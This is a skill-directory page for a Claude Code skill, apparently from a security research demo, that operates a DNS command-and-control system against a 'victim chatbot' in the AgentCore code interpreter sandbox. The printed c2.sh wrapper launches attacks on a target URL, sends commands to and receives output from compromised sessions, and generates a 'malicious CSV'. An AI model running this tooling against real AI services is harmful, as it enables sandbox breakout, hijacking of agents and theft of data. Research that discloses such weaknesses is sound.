Skip to content

BeyondTrust/pwning-agentcore-code-interpreter / .claude/skills/c2

DNS C2 operator skill for the AgentCore sandbox breakout demo. This skill should be used when the user asks to run C2 verification, attack a victim chatbot, send commands to a compromised session, retrieve exfiltrated data, or interact with the DNS C2 system.

FileKindSize
SKILL.mdskill md3.4 KB
scripts/c2.shexecutablescript1.9 KB

scripts/c2.sh

View on GitHub
#!/bin/bash
# C2 Automation Script for Claude Code
# This script wraps the c2 CLI commands for easier automation

set -e

SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
PROJECT_ROOT="$(cd "$SCRIPT_DIR/../../../.." && pwd)"
ATTACKER_DIR="$PROJECT_ROOT/attacker-infra"

# Source environment
cd "$ATTACKER_DIR"
if [ -f set_env_vars.sh ]; then
    source set_env_vars.sh
fi

ACTION="${1:-help}"
shift || true

case "$ACTION" in
    attack)
        # Launch attack against target
        TARGET="$1"
        if [ -z "$TARGET" ]; then
            echo "Usage: c2.sh attack <target_url>"
            exit 1
        fi
        uv run c2 attack "$TARGET" --c2-domain "${DOMAIN:-c2.bt-research-control.com}"
        ;;

    send)
        # Send command to session
        COMMAND="$1"
        SESSION="$2"
        if [ -z "$COMMAND" ] || [ -z "$SESSION" ]; then
            echo "Usage: c2.sh send <command> <session_id>"
            exit 1
        fi
        uv run c2 send "$COMMAND" --session "$SESSION"
        ;;

    receive)
        # Receive output from session
        SESSION="$1"
        if [ -z "$SESSION" ]; then
            echo "Usage: c2.sh receive <session_id>"
            exit 1
        fi
        uv run c2 receive --session "$SESSION"
        ;;

    generate)
        # Generate malicious CSV
        uv run c2 generate-csv "$@"
        ;;

    status)
        # Check C2 server status
        uv run c2 status
        ;;

    help|*)
        echo "C2 Automation Script"
        echo ""
        echo "Usage: c2.sh <action> [args]"
        echo ""
        echo "Actions:"
        echo "  attack <url>           Launch attack against target URL"
        echo "  send <cmd> <session>   Send command to session"
        echo "  receive <session>      Receive output from session"
        echo "  generate               Generate malicious CSV"
        echo "  status                 Check C2 server status"
        echo ""
        ;;
esac
reverse-engineer-anythingmorluto/reaReverse engineer native, managed, Electron/JavaScript, packaged, firmware, and browser targets with REA, and build agent environments (AgentEnv bundles) of web applications from a live instance or a capture, and of Linux desktop apps with a task from a request. Use shipped-artifact or requested runtime evidence to explain features, compare versions, decompile code, or guide a reconstruction. Skip REA for ordinary source-repository architecture analysis.Stars: 468kUpdated Claude CodeCodexVerifiedInstall
diagnosing-superpowersobra/superpowersUse when a superpowers session went wrong and your human partner wants to know why — repeated work, ignored plans, stumbles, poor results, a skill that didn't fire, "it took too long", "why is it so expensive", "what is it doing" — or wants to build a bug report for the superpowers maintainers, for the current session or a past one identified by id or path, on any harness.Stars: 321kUpdated Claude CodeCodexVerifiedInstall
dispatching-parallel-agentsobra/superpowersUse when facing 2+ independent tasks that can be worked on without shared state or sequential dependenciesStars: 321kUpdated Claude CodeCodexVerifiedInstall
executing-plansobra/superpowersUse when executing an implementation plan in the current session as the implementer yourself — your human partner chose inline execution, or no subagent tool is availableStars: 321kUpdated Claude CodeCodexVerifiedInstall